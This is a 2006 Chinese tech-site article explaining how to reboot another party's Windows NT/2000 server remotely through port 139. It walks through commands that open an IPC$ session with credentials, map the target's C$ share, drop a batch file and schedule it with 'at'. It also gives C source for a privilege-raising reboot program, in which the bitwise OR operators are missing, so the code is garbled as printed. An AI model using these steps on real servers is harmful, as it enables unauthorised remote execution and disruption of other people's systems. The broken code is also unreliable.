当前位置: 电脑软硬件应用网 > 电脑学院 > 服务器技术 > 正文 |
|
|||
如何用139端口远程重起NT服务器 | |||
2006-11-20 9:45:06 文/佚名 出处:电脑软硬件应用网 | |||
1、net use \\xxx.xxx.xxx.xxx\ipc$ password /user:username 建立一个IPC会话 2、net use H: \\xxx.xxx.xxx.xxx\c$ 将对方的C盘映射为自己的H盘 3、copy con h:\reboot.bat iisreset /reboot CTRL+Z 在对方的C盘上生成了一个能重启计算机的文件 4、net time \\xxx.xxx.xxx.xxx 得到对方的时间 5、at \\xxx.xxx.xxx.xxx 重起的时间 c:\reboot.bat 重起的时间等于对方的时间加几分钟 6、at \\xxx.xxx.xxx.xxx 看看任务加上没有 7、等...... 上面的第三步是only for WIN2K的,如果是NT,你需要用一个特定的重起程序,我们可以自己编写一个reboot.exe来取代reboot.bat,原理很简单,代码如下: #include "stdio.h" #include "windows.h" int main() { //定义重起的时候发送给所有用户的消息 LPSTR msg="Reboot Tool By Lion Hook\nhttp://www.xici.net"; //尝试用最简单的API函数重起 if(ExitWindowsEx(EWX_REBOOT, 0))return TRUE; if(ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0))return TRUE; //因为上面的重起不成功,所以需要调整本进程的特权 HANDLE hToken; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken)) return FALSE; //获取重起的特权SE_SHUTDOWN_NAME LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); //判断是NT内核还是9x内核,选择用不同的方式 if(!(GetVersion() & 0x80000000)) InitiateSystemShutdown(NULL, msg, 20, TRUE, TRUE); else if (!ExitWindowsEx(EWX_REBOOT, 0)) if(!ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0)) return FALSE; return TRUE; } |
|||
最新热点 | 最新推荐 | 相关文章 | ||
多图详解苹果“雪豹”服务器系统安装… 支招:如何搭建九层高的服务器机架? IBM System x3200M2服务器常见问题解… IBM刀片服务器搭建理想动态基础架构 Windows服务器组件安全设置策略 配置WSUS服务器客户端计算机进行自动… 微软WSUS服务器 3.0安装配置详解 WSUS服务器常见故障 Serv-U8.0添加匿名用户的技巧 Serv-U服务器中文乱码问题的解决 |
关于45IT | About 45IT | 联系方式 | 版权声明 | 网站导航 | |
Copyright © 2003-2011 45IT. All Rights Reserved 浙ICP备09049068号 |